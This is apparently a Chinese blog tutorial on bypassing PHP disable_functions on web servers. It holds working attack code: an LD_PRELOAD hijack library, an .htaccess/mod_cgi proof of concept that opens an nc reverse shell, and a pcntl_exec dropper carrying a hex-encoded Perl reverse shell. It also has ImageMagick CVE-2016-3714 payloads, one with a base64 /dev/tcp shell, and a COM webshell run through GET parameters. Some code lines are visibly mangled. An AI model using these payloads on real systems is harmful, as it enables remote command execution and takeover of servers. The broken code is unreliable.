PHP绕过disable_function

时间:2022-03-15 10:46:38

PHP绕过disable_function

常规绕过
  1. exec

    exec执行command命令,但是不会输出全部结果,而是返回结果的最后一行.
    想得到全部的结果,可以使用第二个参数,让其输出到一个数组,数组的每一个记录代表了输出的每一行.

<?php
exec('ipconfig',$arr);
print_r($arr)
?>
  1. shell_exec 是反撇号 ` 操作符的变体.

<?php
echo `ipconfig`;
  1. system 同passthru差不多

<?php
system('ipconfig');
  1. passthru

    passthru直接将结果输出,不返回结果,不用使用echo查看结果.

<?php
passthru("ipconfig");
  1. popen popen()会调用fork()产生子进程,然后从子进程中调用/bin/sh -c来执行参数command的指令。

<?php
$file=popen('C:\README.txt','r');
pclose($file);
  1. procopen procopen — 执行一个命令,并且打开用来输入/输出的文件指针。

<?php
$descs = array(
0 => array( 'pipe' , 'r' ) , #输入
1 => array( 'file' , 'output' , 'w' ) , #输出,可以为管道或文件
2 => array( 'file' , 'errors' , 'w' ) #错误日志,可以为管道或文件
); $res = proc_open( 'ipconfig' , $descs , $pipes ); if( is_resource( $res ) )
{
fputs( $pipes[ 0 ] , '<?php echo \'Hello you!\n\'; ?>' );
fclose( $pipes[ 0 ] ); /**
while( ! feof( $pipes[1] ) )
{
$line = fgets( $pipes[ 1 ] );
echo urlencode( $line );
}
*/ proc_close( $res );
}

相当于运行了ipconfig这个命令,我们可以打开生成的文件进行查看 7. chroot 改变当前进程的根目录为 directory,并把当前工作目录改为 "/"。


<?php
// Change root directory
chroot("/path/to/chroot/"); // Get current directory
echo getcwd();
?>
  1. chgrp chgrp() 函数改变指定文件的用户组。

<?php
chgrp("test.txt","admin")
?>
  1. putenv putenv 配置系统环境变量,getenv 取得系统的环境变量

<?php

putenv("new=very new");$is_new = getenv("new");$new="bu shi";

echo $is_new,"<br />",$new;

?>
  1. scandir

    返回一个 array,包含有 directory 中的文件和目录。

<?php
$dir = 'C:\\';
$files1 = scandir($dir);
$files2=scandir($dir,1) //倒序排列 print_r($files1);
  1. syslog 用于向日志文件中写入消息,在这里可以规定消息的优先级、消息的输出格式等。

<?php
// open syslog, include the process ID and also send
// the log to standard error, and use a user defined
// logging mechanism
openlog("myScriptLog", LOG_PID | LOG_PERROR, LOG_LOCAL0); // some code if (authorized_client()) {
// do something
} else {
// unauthorized client!
// log the attempt
$access = date("Y/m/d H:i:s");
syslog(LOG_WARNING, "Unauthorized client: $access {$_SERVER['REMOTE_ADDR']} ({$_SERVER['HTTP_USER_AGENT']})");
} closelog();
?>
  1. readlink 返回符号连接指向的目标。

    若成功,则该函数返回连接的目标。若失败,则返回 false。

<?php

echo readlink("C:\\Dell\\");
  1. error_log 把错误消息发送到 web 服务器日志和邮件账号:

<?php
// 如果错误连接至数据库,则向服务器日志发送错误消息
if (!mysqli_connect("localhost","bad_user","bad_password","my_db")) {
error_log("Failed to connect to database!", 0);
} // 如果用完 FOO,向管理员发送电邮
if (!($foo = allocate_new_foo())) {
error_log("Oh no! We are out of FOOs!", 1, "admin@example.com");
}
?>

利用环境变量LD_PRELOAD绕过

php的mail函数在执行过程中会默认调用系统程序/usr/sbin/sendmail,如果我们能劫持sendmail程序,再用mail函数来触发就能实现我们的目的,而我们调用的mail函数实际上是调用了系统的sendmail命令。  

当 disable_functions 禁用了命令执行函数,webshell 无法执行系统命令时,可以通过环境变量 LD_PRELOAD 劫持系统函数,来突破 disable_functions 限制执行操作系统命令

程序的链接主要有以下三种:

静态链接:在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序,之后不再拆开。

装入时动态链接:源程序编译后所得到的一组目标模块,在装入内存时,边装入边链接。

运行时动态链接:原程序编译后得到的目标模块,在程序执行过程中需要用到时才对它进行链接。

在UNIX的动态链接库的世界中,LD_PRELOAD就是这样一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和
其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。

利用条件:

能够上传自己的.so文件

能够控制环境变量的值(设置LD_PRELOAD变量),比如putenv函数

存在可以控制PHP启动外部程序的函数并能执行(因为新进程启动将加载LD_PRELOAD中的.so文件),比如mail()、imap_mail()、mb_send_mail()和error_log()等

编写动态链接程序:

#include<stdlib.h>
#include <stdio.h>
#include<string.h> void payload() {
system("touch/var/www/html/test");
} int geteuid() {
if(getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}

当这个共享库中的geteuid被调用时,尝试加载payload()函数,执行命令,在/var/www/html目录下创建一个名字为test的文件。

<?php
putenv("LD_PRELOAD=/var/www/html/hack.so");
mail("adwin@localhost","","","","");
?>

gcc so相关选项

gcc -fPIC(生成位置无关代码)
gcc -shared(生成共享库,即so)
gcc -Wl,-soname(指定生成共享库的soname)

执行

gcc -c -fPIC hack.c -o hack
gcc -shared hack -o hack.so

将生成的so文件放入到我们想要放的目录当中,可以是web目录

继续编写php文件

<?php
putenv("LD_PRELOAD=/var/www/html/hack.so");
mail("adwin@localhost","","","","");
?>

将so文件写到了环境变量当中

访问index.php页面之后,目录下多出了一个test文件,执行成功了。

总结一下具体的步骤:我们利用调用mail函数来执行sendmail程序,这是系统的,此时我们可以查看一下sendmail调用哪些库函数,我们选取其中的一个库函编写一个我们自己的动态链表程序,并将他转为so文件,即生成了一个共享库,此时我们的的so文件中就定义了getuid这个函数,getuid又调用了我们附加的system功能的函数,同时还有getenv获取我们设置的LD_PRELOAD变量,执行我们的命令,一切就绪,我们将LD_PRELOAD的变量路径设为我们so文件的路径,LD_PRELOAD就是这样一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库,此时sendmail函数调用的getuid函数就是我们so文件里面定义的了,我们劫持了原本的函数,所以我们接下来调用mail函数就完成了最后一击。

.htaccess:不止重定向

如果.htaccess文件被攻击者修改的话,攻击者就可以利用apache的mod_cgi模块,直接绕过PHP的任何限制,来执行系统命令。

条件:

第一,必须是apache环境。

第二,mod_cgi已经启用(在我的环境下是默认启用的)。

第三,必须允许.htaccess文件,也就是说在httpd.conf中,要注意AllowOverride选项为All,而不是none。

第四,必须有权限写.htaccess文件。

POC:

<?php
$cmd = "nc -c'/bin/bash' 127.0.0.1 4444"; //反弹一个shell出来,这里用本地的4444端口
$shellfile ="#!/bin/bash\n"; //指定shell
$shellfile .="echo -ne \"Content-Type: text/html\\n\\n\"\n"; //需要指定这个header,否则会返回500
$shellfile .="$cmd";
functioncheckEnabled($text,$condition,$yes,$no) //this surely can be shorter
{
echo "$text: " . ($condition ?$yes : $no) . "<br>\n";
}
if(!isset($_GET['checked']))
{
@file_put_contents('.htaccess',"\nSetEnv HTACCESS on", FILE_APPEND);
header('Location: ' . $_SERVER['PHP_SELF']. '?checked=true'); //执行环境的检查
}
else
{
$modcgi = in_array('mod_cgi',apache_get_modules()); // 检测mod_cgi是否开启
$writable = is_writable('.'); //检测当前目录是否可写
$htaccess = !empty($_SERVER['HTACCESS']);//检测是否启用了.htaccess
checkEnabled("Mod-Cgienabled",$modcgi,"Yes","No");
checkEnabled("Iswritable",$writable,"Yes","No");
checkEnabled("htaccessworking",$htaccess,"Yes","No");
if(!($modcgi && $writable&& $htaccess))
{
echo "Error. All of the above mustbe true for the script to work!"; //必须满足所有条件
}
else
{ checkEnabled("Backing
up.htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded!Saved in
.htaccess.bak","Failed!"); //备份一下原有.htaccess checkEnabled("Write
.htaccessfile",file_put_contents('.htaccess',"Options
+ExecCGI\nAddHandlercgi-script
.dizzle"),"Succeeded!","Failed!");//.dizzle,我们的特定扩展名
checkEnabled("Write shellfile",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!");//写入文件
checkEnabled("Chmod777",chmod("shell.dizzle",0777),"Succeeded!","Failed!");//给权限
echo "Executing the script now.Check your listener <img src = 'shell.dizzle' style ='display:none;'>"; //调用
}
}
?>

在本地开nc监听4444端口,然后在浏览器中打开这个页面,如果执行成功,将会反弹一个shell到4444端口.

参考文章:https://www.freebuf.com/articles/web/169156.html

pcntl_exec

pcntl是linux下的一个扩展,可以支持php的多线程操作。

pcntl_exec函数的作用是在当前进程空间执行指定程序,版本要求:PHP 4 >= 4.2.0, PHP 5

exec.php

<?php pcntl_exec(“/bin/bash”, array(“/tmp/b4dboy.sh”));?>

/tmp/b4dboy.sh,此处就是我们想要执行的shell命令

#!/bin/bash
ls -l /

pcntl_exec反弹脚本:

<?php
/*******************************
*查看phpinfo编译参数--enable-pcntl
*作者 Spider
*nc -vvlp 443
********************************/ $ip = 'xxx.xxx.xxx.xxx';
$port = '443';
$file = '/tmp/bc.pl'; header("content-Type: text/html; charset=gb2312"); if(function_exists('pcntl_exec')) {
$data = "\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x20\x2d\x77\x0d\x0a\x23\x0d\x0a".
"\x0d\x0a\x75\x73\x65\x20\x73\x74\x72\x69\x63\x74\x3b\x20\x20\x20\x20\x0d\x0a\x75\x73\x65\x20".
"\x53\x6f\x63\x6b\x65\x74\x3b\x0d\x0a\x75\x73\x65\x20\x49\x4f\x3a\x3a\x48\x61\x6e\x64\x6c\x65".
"\x3b\x0d\x0a\x0d\x0a\x6d\x79\x20\x24\x72\x65\x6d\x6f\x74\x65\x5f\x69\x70\x20\x3d\x20\x27".$ip.
"\x27\x3b\x0d\x0a\x6d\x79\x20\x24\x72\x65\x6d\x6f\x74\x65\x5f\x70\x6f\x72\x74\x20\x3d\x20\x27".$port.
"\x27\x3b\x0d\x0a\x0d\x0a\x6d\x79\x20\x24\x70\x72\x6f\x74\x6f\x20\x3d\x20\x67\x65\x74\x70\x72".
"\x6f\x74\x6f\x62\x79\x6e\x61\x6d\x65\x28\x22\x74\x63\x70\x22\x29\x3b\x0d\x0a\x6d\x79\x20\x24".
"\x70\x61\x63\x6b\x5f\x61\x64\x64\x72\x20\x3d\x20\x73\x6f\x63\x6b\x61\x64\x64\x72\x5f\x69\x6e".
"\x28\x24\x72\x65\x6d\x6f\x74\x65\x5f\x70\x6f\x72\x74\x2c\x20\x69\x6e\x65\x74\x5f\x61\x74\x6f".
"\x6e\x28\x24\x72\x65\x6d\x6f\x74\x65\x5f\x69\x70\x29\x29\x3b\x0d\x0a\x6d\x79\x20\x24\x73\x68".
"\x65\x6c\x6c\x20\x3d\x20\x27\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2d\x69\x27\x3b\x0d\x0a\x73\x6f".
"\x63\x6b\x65\x74\x28\x53\x4f\x43\x4b\x2c\x20\x41\x46\x5f\x49\x4e\x45\x54\x2c\x20\x53\x4f\x43".
"\x4b\x5f\x53\x54\x52\x45\x41\x4d\x2c\x20\x24\x70\x72\x6f\x74\x6f\x29\x3b\x0d\x0a\x53\x54\x44".
"\x4f\x55\x54\x2d\x3e\x61\x75\x74\x6f\x66\x6c\x75\x73\x68\x28\x31\x29\x3b\x0d\x0a\x53\x4f\x43".
"\x4b\x2d\x3e\x61\x75\x74\x6f\x66\x6c\x75\x73\x68\x28\x31\x29\x3b\x0d\x0a\x63\x6f\x6e\x6e\x65".
"\x63\x74\x28\x53\x4f\x43\x4b\x2c\x24\x70\x61\x63\x6b\x5f\x61\x64\x64\x72\x29\x20\x6f\x72\x20".
"\x64\x69\x65\x20\x22\x63\x61\x6e\x20\x6e\x6f\x74\x20\x63\x6f\x6e\x6e\x65\x63\x74\x3a\x24\x21".
"\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x49\x4e\x2c\x20\x22\x3c\x26\x53\x4f\x43\x4b".
"\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x4f\x55\x54\x2c\x20\x22\x3e\x26\x53\x4f\x43".
"\x4b\x22\x3b\x0d\x0a\x6f\x70\x65\x6e\x20\x53\x54\x44\x45\x52\x52\x2c\x20\x22\x3e\x26\x53\x4f".
"\x43\x4b\x22\x3b\x0d\x0a\x73\x79\x73\x74\x65\x6d\x28\x24\x73\x68\x65\x6c\x6c\x29\x3b\x0d\x0a".
"\x63\x6c\x6f\x73\x65\x20\x53\x4f\x43\x4b\x3b\x0d\x0a\x65\x78\x69\x74\x20\x30\x3b\x0a";
$fp = fopen($file,'w');
$key = fputs($fp,$data);
fclose($fp);
if(!$key) exit('写入'.$file.'失败');
chmod($file,0777);
pcntl_exec($file);
unlink($file);
} else {
echo '不支持pcntl扩展';
}
?>

2

exp.php,利用pcntl_exec来执行sh文件,从而进行shell反弹
<?php
if(function_exists('pcntl_exec'))
{pcntl_exec("/bin/bash", array("/tmp/test.sh"));}
else { echo 'pcntl extension is not support!';}
?> test.sh
!/bin/bashnc -e /bin/bash 1.1.1.1 8888

利用ImageMagick漏洞绕过disable_function

ImageMagick是一套功能强大、稳定而且开源的工具集和开发包,可以用来读、写和处理超过89种基本格式的图片文件。

<?php
echo "Disable Functions: " . ini_get('disable_functions') . "\n"; $command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];
if ($command == '') {
$command = 'id';
} $exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|$command")'
pop graphic-context
EOF; file_put_contents("KKKK.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('KKKK.mvg');
$thumb->writeImage('KKKK.png');
$thumb->clear();
$thumb->destroy();
unlink("KKKK.mvg");
unlink("KKKK.png");
?>

在ImageMagick6.9.3-9以前的所有版本中都存在一个漏洞,当用户传入一个包含『畸形内容』的图片的时候,就有可能触发命令注入。

将其改为jpg后缀进行上传,然后侦听端口
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/joker.jpg"|curl "192.168.159.128:2233)'
pop graphic-context

这里是反弹shell的:

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops.jpg?`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMjM2LjEzOC84ODg5IDA+JjE | base64 -d | bash`"||id " )'
pop graphic-context

例如

POST /upload.php HTTP/1.1
Host: your-ip
Content-Length: 321
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36
Content-Type: multipart/form-data; boundary=---------------------------293582696224464
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Connection: close -----------------------------293582696224464
Content-Disposition: form-data; name="file_upload"; filename="CVE-2016-3714.jpg"
Content-Type: image/jpeg push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/joker.jpg"|curl "【your-ip】:3333)'
pop graphic-context
-----------------------------293582696224464--

CVE-2016-3714: https://www.freebuf.com/vuls/104048.html

利用系统组件window com绕过

php5.x支持COM组件,当com.allow_dcom =true时可尝试。

poc:

<?php
$command=$_GET['a'];
$wsh = new COM('WScript.shell'); // 生成一个COM对Shell.Application也能
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
print($stroutput);
?>